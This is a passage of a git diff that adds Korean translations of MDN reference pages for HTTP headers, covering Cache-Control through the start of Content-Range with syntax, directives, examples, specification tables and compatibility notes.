+ <dd>응답에 대해 변형이나 변환이 일어나서는 안됩니다. Content-Encoding, Content-Range, Content-Type 헤더는 프록시에 의해서 수정되어서는 안됩니다. 반투명 프록시는, 예를 들어, 캐시 공간을 절약하고 느린 링크 상의 트래픽량을 줄이기 위해 이미지 포맷들을 변환합니다. <code>no-transform</code> 디렉티브는 이를 허용하지 않습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="캐싱_막기">캐싱 막기</h3>
+
+<p>캐싱을 끄기 위해서, 다음의 디렉티브들을 보낼 수 있습니다. 추가로, <code>Expires와</code> <code>Pragma</code> 헤더를 참고하시기 바랍니다.</p>
+
+<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h3 id="정적_에셋_캐싱">정적 에셋 캐싱</h3>
+
+<p>변경되지 않을 애플리케이션 내 파일들에 대해, 보통 적극적인 캐싱을 추가할 수 있습니다. 이것은 예를 들자면, 이미지, CSS 파일 그리고 자바스크립트 파일과 같이 애플리케이션에 의해 서브되는 정적 파일들을 포함합니다. 추가로, <code>Expires</code> 헤더를 참고하시기 바랍니다.</p>
+
+<pre class="brush: bash">Cache-Control:public, max-age=31536000</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ <tr>
+ <td>{{RFC("5861")}}</td>
+ <td>HTTP Cache-Control Extensions for Stale Content</td>
+ </tr>
+ <tr>
+ <td>{{RFC("8246")}}</td>
+ <td>HTTP Immutable Responses</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/connection/index.html b/files/ko/web/http/headers/connection/index.html
new file mode 100644
index 0000000000..f86c4e666f
--- /dev/null
+++ b/files/ko/web/http/headers/connection/index.html
@@ -0,0 +1,53 @@
+---
+title: Connection
+slug: Web/HTTP/Headers/Connection
+tags:
+ - HTTP
+ - 웹
+ - 참조
+ - 헤더
+translation_of: Web/HTTP/Headers/Connection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Connection</code></strong> 일반 헤더는 현재의 전송이 완료된 후 네트워크 접속을 유지할지 말지를 제어합니다. 만약 전송된 값이 <code>keep-alive</code>면, 연결은 지속되고 끊기지 않으며, 동일한 서버에 대한 후속 요청을 수행할 수 있습니다.</p>
+
+<div class="blockIndicator warning">
+<p>{{HTTPHeader("Connection")}} 와 {{HTTPHeader("Keep-Alive")}} 같은 연결-지정(Connection-specific) 헤더 필드들은 <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">HTTP/2.에서 금지되었습니다</a>. 크롬과 파이어폭스는 HTTP/2 응답에서 그들을 무시하지만, 사파리는 HTTP/2 규격 요건에 따라 해당 필드가 포함된 응답은 처리하지 않습니다. </p>
+</div>
+
+<p>표준 홉 간 헤더인 ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} 그리고 {{HTTPHeader("Proxy-Authenticate")}})를 제외하고, 메시지에 의해 사용되는 모든 홉 간 헤더들이 <code>Connection</code> 헤더 내에 연결되기에, 첫번째 프록시는 자신이 해당 헤더들을 소비해야 하며 포워드해서는 안된다는 것을 알 게 됩니다. 표준 홉 간 헤더들도 나열될 수 있지만(대게 {{HTTPHeader("Keep-Alive")}}의 경우가 그렇습니다), 강제적인 것은 아닙니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">Connection: keep-alive
+Connection: close
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>close</code></dt>
+ <dd>클라이언트 혹은 서버가 연결을 닫으려고 하는 것을 나타냅니다. 이것은 HTTP/1.0 요청에서 기본 값입니다.</dd>
+ <dt>쉼표로 구분된 HTTP 헤더 목록 [보통 <code>keep-alive</code> 만 해당]</dt>
+ <dd>클라이언트가 연결을 열린 상태로 유지하려는 것을 나타냅니다. 영속적인 연결을 가지는 것은 HTTP/1.1 요청의 경우 기본입니다. 헤더 목록은 첫번째 반투명 프록시 혹은 중간 캐시에 의해 제거될 헤더의 이름입니다: 이 헤더들은 목적지 노드가 아닌 (요청) 발행자와 첫번째 개체 사이의 연결을 정의합니다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 만약 당신이 그 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 체크아웃하고 풀리퀘스트를 보내주십시오.</p>
+
+<div>{{Compat("http.headers.Connection")}}</div>
diff --git a/files/ko/web/http/headers/content-disposition/index.html b/files/ko/web/http/headers/content-disposition/index.html
new file mode 100644
index 0000000000..febe46b9dd
--- /dev/null
+++ b/files/ko/web/http/headers/content-disposition/index.html
@@ -0,0 +1,133 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Headers/Content-Disposition
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}<br>
+일반적인 HTTP 응답에서 <code><strong>Content-Disposition</strong></code> 헤더는 컨텐츠가 브라우저에 <em>inline</em> 되어야 하는 웹페이지 자체이거나 웹페이지의 일부인지, 아니면 <em>attachment</em>로써 다운로드 되거나 로컬에 저장될 용도록 쓰이는 것인지를 알려주는 헤더입니다.</div>
+
+<div></div>
+
+<p><code>multipart/form-data</code> 본문에서의 <strong><code>Content-Disposition</code></strong> 일반 헤더는 multipart의 하위파트에서 활용될 수 있는데, 이 때 이 헤더는 multipart 본문 내의 필드에 대한 정보를 제공합니다. multipart의 하위파트는 {{HTTPHeader("Content-Type")}} 헤더에 정의된 <em>boundary</em> 구분자에 의해 구분되며, <code>Content-Disposition</code> 헤더를 multipart 자체에 사용하는 것은 아무런 효과를 발휘하지 못합니다.</p>
+
+<p><code>Content-Disposition</code> 헤더는 광의의 MIME 맥락 속에서 정의되었는데, 그 정의에서 사용되는 파라미터 중 일부인 <code>form-data</code>, <code>name</code> 그리고 <code>filename</code>만이 HTTP forms와 {{HTTPMethod("POST")}} 요청에 적용될 수 있습니다. 여기서 <code>name</code>과 <code>filename</code>은 필수적인 파라미터는 아닙니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}} (for the main body)<br>
+ {{Glossary("General header")}} (for a subpart of a multipart body)</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax_구문">Syntax (구문)</h2>
+
+<h3 id="As_a_response_header_for_the_main_body_메인_바디를_위한_응답_헤더로서">As a response header for the main body (메인 바디를 위한 응답 헤더로서)</h3>
+
+<p>HTTP 구문의 첫번째 파라미터는 <code>inline</code> (기본값, 웹 페이지 안에서 또는 웹 페이지로 나타남) 또는 <code>attachment</code> (반드시 다운로드 받아야 하며 대부분의 브라우저는 'Save as'(새이름으로저장)창을 보여주고 <code>filename</code> 파라미터들이 존재한다면 그 이름을 새이름으로 미리 채워줌)입니다.</p>
+
+<pre class="syntaxbox notranslate">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="As_a_header_for_a_multipart_body_멀티파트_바디를_위한_헤더로서">As a header for a multipart body (멀티파트 바디를 위한 헤더로서)</h3>
+
+<p>HTTP 구문의 첫번째 파라미터는 언제나 <code>form-data</code>입니다. 추가적인 파라미터들은 대소문자 구분이 없으며, <code>'='</code> 다음에 "문자열로 표현한 아규먼트들"을 가집니다. 다중 파라미터들은 세미콜론 (<code>';'</code>)으로 구분합니다.</p>
+
+<pre class="syntaxbox notranslate">Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre>
+
+<h3 id="Directives_지시자들">Directives (지시자들)</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>이름(<code>name</code>) 다음에 오는 문자열에는 이 서브파트가 참조하는 폼의 HTML 필드에서 사용한 그 이름이 들어갑니다. 같은 필드에 여러개의 파일이 있을 경우 (예 : <code>{{HTMLElement("input","&lt;input type=\"file\"&gt;")}}</code> 요소의 {{htmlattrxref("multiple", "input")}} 속성), 같은 이름으로 여러개의 서브파트들이 존재할 수 있습니다.</dd>
+ <dd><code>name</code>의 값이 <code>'_charset_'</code>인 것은 그 부분이 HTML필드가 아니라, charset을 명시하지 않고 사용할 수 있는 기본 charset임을 나타냅니다.</dd>
+ <dt><code>filename</code></dt>
+ <dd>파일명(<code>filename</code>) 다음에 오는 문자열에는 전송된 해당 파일의 원래 이름이 들어갑니다. 파일명은 언제나 선택사항이지만, 맹목적으로 쓰여서는 안됩니다 : 경로 정보가 공개되어야 하며, 서버 파일 시스템 규칙에 따라 전환되어야 합니다. 이러한 파라미터들은 대부분 지시적 정보(indicative information)를 제공합니다. 파일명이 <code>Content-Disposition: attachment</code>과 같이 사용되면 최종적으로 사용자가 "새이름으로저장(Save As)" 창에서 보게 되는 파일명의 기본값으로 사용됩니다.</dd>
+ <dt><code>filename*</code></dt>
+ <dd>
+ <p>"filename"과의 유일한 차이점은 "filename*"는 인코딩으로 <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면  "filename*"이 보다 우선됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>A response triggering the "Save As" dialog:</p>
+
+<pre class="notranslate">200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 21
+
+&lt;HTML&gt;Save me!&lt;/HTML&gt;
+
+</pre>
+
+<p>This simple HTML file will be saved as a regular download rather than displayed in the browser. Most browsers will propose to save it under the <code>cool.html</code> filename (by default).</p>
+
+<p>An example of an HTML form posted using the <code>multipart/form-data</code> format that makes use of the <code>Content-Disposition</code> header:</p>
+
+<pre class="notranslate">POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7578")}}</td>
+ <td>Returning Values from Forms: multipart/form-data</td>
+ </tr>
+ <tr>
+ <td>{{RFC("6266")}}</td>
+ <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+ </tr>
+ <tr>
+ <td>{{RFC("2183")}}</td>
+ <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Disposition")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Firefox 5 handles the <code>Content-Disposition</code> HTTP response header more effectively if both the <code>filename</code> and <code>filename*</code> parameters are provided; it looks through all provided names, using the <code>filename*</code> parameter if one is available, even if a <code>filename</code> parameter is included first. Previously, the first matching parameter would be used, thereby preventing a more appropriate name from being used. See {{bug(588781)}}.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li>
+ <li>The {{HTTPHeader("Content-Type")}} defining the boundary of the multipart body.</li>
+ <li>The {{domxref("FormData")}} interface used to manipulate form data for use in the {{domxref("XMLHttpRequest")}} API.</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-encoding/index.html b/files/ko/web/http/headers/content-encoding/index.html
new file mode 100644
index 0000000000..e87da000ea
--- /dev/null
+++ b/files/ko/web/http/headers/content-encoding/index.html
@@ -0,0 +1,94 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Headers/Content-Encoding
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Encoding</code></strong> 개체 헤더는 미디어 타입을 압축하기 위해 사용됩니다. 이 헤더가 존재하면, 그 값은 개체 본문에 어떤 추가적인 컨텐츠 인코딩이 적용될지를 나타냅니다. 그것은 <code>Content-Type</code> 헤더에 의해 참조되는 미디어 타입을 얻도록 디코드하는 방법을 클라이언트가 알게 해줍니다.</p>
+
+<p>가능한 더 많은 데이터를 압축하기 위해 이 필드의 사용이 권고되지만, jpeg 이미지와 같은 어떤 유형의 리소스들은 이미 압축되어 때때로 추가적인 압축이 별 소용이 없고 페이로드를 더 길게 만들수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>32비트 CRC를 지닌, <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)을 사용하는 포맷. 이는 본래 UNIX <em>gzip</em> 프로그램의 포맷입니다. HTTP/1.1 표준 역시 이 컨텐츠 인코딩을 지원하는 서버는 호환성 목적으로, <code>x-gzip</code> 별칭의 인지가 권고됩니다.</dd>
+ <dt><code>compress</code></dt>
+ <dd><a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 포맷. 그 값의 이름은 이 알고리즘을 구현한 UNIX <em>compress</em> 프로그램으로부터 가져왔습니다.<br>
+ 대부분의 UNIX 배포판으로부터 사라져 왔던 압축 프로그램처럼, 이 content-encoding은 (2013년에 만료된)특허권 이슈로 오늘날의 브라우저에서 사용되지 않습니다.</dd>
+ <dt><code>deflate</code></dt>
+ <dd>(<a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>에 정의된) <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> 압축 알고리즘을 이용한, (<a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>에 정의된) <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 스트럭쳐를 사용합니다.</dd>
+ <dt><code>identity</code></dt>
+ <dd>identity 함수를 나타냅니다(즉, 압축 없음 혹은 변경 없음). 이 토큰은, 명시적으로 지정된 경우를 제외하고, 항상 수용 가능하다고 여겨집니다.</dd>
+ <dt><code>br</code></dt>
+ <dd><a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 알고리즘을 사용하는 포맷.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="gzip을_이용해_압축하기">gzip을 이용해 압축하기</h3>
+
+<p>클라이언트 측에서, HTTP 요청 내에 함께 전송될 압축 스킴 목록을 알릴 수 있습니다. {{HTTPHeader("Accept-Encoding")}} 헤더는 컨텐츠 인코딩 협상을 위해 사용됩니다.</p>
+
+<pre>Accept-Encoding: gzip, deflate</pre>
+
+<p>서버는 사용한 스킴을 <code>Content-Encoding</code> 응답 헤더에 표시하여 응답합니다.</p>
+
+<pre>Content-Encoding: gzip</pre>
+
+<p>서버는 어떤 압축 방법도 사용하도록 강요받지 않는다는 것을 알아두시기 바랍니다. 압축은 서버 설정과 사용되는 서버 모듈에 상당히 의존적입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ <tr>
+ <td><a href="http://www.ietf.org/id/draft-alakuijala-brotli">http://www.ietf.org/id/draft-alakuijala-brotli</a></td>
+ <td>Brotli Compressed Data Format</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-language/index.html b/files/ko/web/http/headers/content-language/index.html
new file mode 100644
index 0000000000..b14724b515
--- /dev/null
+++ b/files/ko/web/http/headers/content-language/index.html
@@ -0,0 +1,92 @@
+---
+title: Content-Language
+slug: Web/HTTP/Headers/Content-Language
+translation_of: Web/HTTP/Headers/Content-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Language</code></strong> {{Glossary("entity header")}}는 청중을 위한 언어를 설명하기 위해 사용되는데, 사용자가 선호하는 언어에 따라 사용자를 구분하도록 해줍니다.</p>
+
+<p>예를 들어, "<code>Content-Language: de-DE</code>"가 설정되면, 이는 문서가 독일어 발표자를 위해 만들어졌음을 의미합니다(하지만, 그것이 문서가 독일어로 쓰여졌음을 나타내지는 않습니다. 예를 들어, 독일인 발표자를 위한 언어 코스의 일부분이 영어로 작성된 것일 수도 있습니다).</p>
+
+<p><code>Content-Language</code>이 지정되지 않는다면, 모든 언어의 청중을 위해 만들어진 내용이라고 간주합니다. 다중 언어 태그 또한 가능한데다, 텍스트로 이루어진 문서 뿐만 아니라 여러 가지 미디어 타입에도 <code>Content-Language</code> 헤더가 적용됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>language-tag</code></dt>
+ <dd>다중 언어 태그는 쉼표로 구분됩니다. 각 언어 태그는 하이프 문자("<code>-</code>", <code>%x2D</code>)로 구분되는, 한 개 이상의 대소문자를 구분하지 않는 서브태그의 연속입니다. 대부분의 경우, 언어 태그는 관련 언어군 (예를 들어, "<code>en</code>" = English)을 나타내는 주요 언어로 구성되는데, 그 뒤에는 해당 언어의 범위를 정제하거나 좁혀주는 d일련의 서브태그가 올 수 있습니다 (예, "<code>en-CA</code>" = 캐나다에서 사용되는 영어의 변종).</dd>
+</dl>
+
+<div class="note">
+<p><strong>알아둘 것:</strong> 언어 태그는 공식적으로 <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>에 정의되어 있으며, 그에 이어 사용될 <a href="https://en.wikipedia.org/wiki/Language_code">언어 코드</a>에 대해서 <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> 표준이 있습니다(더 정확히는 <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 코드 목록</a>).</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문서가_작성된_언어_나타내기">문서가 작성된 언어 나타내기</h3>
+
+<p>글로벌 <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> 어트리뷰는 HTML 엘리먼트 상에서 전체 <a href="/en-US/docs/Web/HTML">HTML</a> 문서 혹은 그의 일부의 언어를 나타내기 위해 사용됩니다.</p>
+
+<pre class="brush: html">&lt;html lang="de"&gt;</pre>
+
+<p>다음과 같이 문서 언어를 나타내기 위해 이와 같은 메타 엘리먼트를 사용하지 <strong>마세요</strong>:</p>
+
+<pre class="brush: html example-bad">&lt;!-- /!\ This is bad practice --&gt;
+&lt;meta http-equiv="content-language" content="de"&gt;</pre>
+
+<h3 id="리소스에_대해_대상_청중_나타내기">리소스에 대해 대상 청중 나타내기</h3>
+
+<p><code>Content-Language</code> 헤더는 <strong>페이지의 대상 청중</strong>을 지정하는데 사용되며 한 개 이상의 언어를 나태낼 수 있습니다.</p>
+
+<pre>Content-Language: de, en</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>
+ <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP 헤더, 메타 엘리먼트 그리고 언어 정보</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/content-length/index.html b/files/ko/web/http/headers/content-length/index.html
new file mode 100644
index 0000000000..1948679fec
--- /dev/null
+++ b/files/ko/web/http/headers/content-length/index.html
@@ -0,0 +1,60 @@
+---
+title: Content-Length
+slug: Web/HTTP/Headers/Content-Length
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Length</code></strong> 개체 헤더는 수신자에게 보내지는, 바이트 단위를 가지는 개체 본문의 크기를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Length: &lt;length&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>octets에 대한 십진수 단위의 길이.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Length")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-location/index.html b/files/ko/web/http/headers/content-location/index.html
new file mode 100644
index 0000000000..08281873d6
--- /dev/null
+++ b/files/ko/web/http/headers/content-location/index.html
@@ -0,0 +1,66 @@
+---
+title: Content-Location
+slug: Web/HTTP/Headers/Content-Location
+translation_of: Web/HTTP/Headers/Content-Location
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Location</code></strong> 헤더는 반환된 데이터에 대한 대체 위치을 가르킵니다. 주된 유스케이스는 <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>의 결과로써 전달되는 리소스의 URL을 가르키는 것입니다.</p>
+
+<p>{{HTTPHeader("Location")}}과 <code>Content-Location</code>는 다릅니다: {{HTTPHeader("Location")}}가 리다이렉션의 대상(혹은 새롭게 만들어진 문서의 URL)을 가르키는데 반해, <code>Content-Location</code>은 더 이상의 컨텐츠 협상없이, 리소스 접근에 필요한 직접적인 URL을 가르킵니다. <code>Location</code>은 응답과 연관된 헤더인데 반해, <code>Content-Location</code> 은 반환된 개체와 연관이 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Location: &lt;url&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>(요청 URL에 대해) 상대적이거나 혹은 절대적인 URL.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Content-Location: /index.html</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Location")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-range/index.html b/files/ko/web/http/headers/content-range/index.html
new file mode 100644
index 0000000000..0020ce93e9
--- /dev/null
+++ b/files/ko/web/http/headers/content-range/index.html
@@ -0,0 +1,89 @@
+---
+title: Content-Range
+slug: Web/HTTP/Headers/Content-Range
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 응답 헤더
+ - 참고자료
+ - 헤더
+translation_of: Web/HTTP/Headers/Content-Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Range</code> </strong>HTTP 응답 헤더는 전체 바디 메시지에 속한 부분 메시지의 위치를 알려줍니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Range: &lt;unit&gt; &lt;range-start&gt;-&lt;range-end&gt;/&lt;size&gt;
+Content-Range: &lt;unit&gt; &lt;range-start&gt;-&lt;range-end&gt;/*
+Content-Range: &lt;unit&gt; */&lt;size&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;unit&gt;</dt>
+ <dd>단위는 범위를 지정합니다. 보통 <code>bytes</code>를 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;range-start&gt;</dt>
+ <dd>범위 요청의 시작을 알려주는 정수 단위.</dd>
+ <dt>&lt;range-end&gt;</dt>
+ <dd>범위 요청의 끝을 알려주는 정수 단위.</dd>
+ <dt>&lt;size&gt;</dt>
+ <dd>문서의 총 크기(또는 모른다면 <code>'*'</code>)</dd>
+</dl>
+
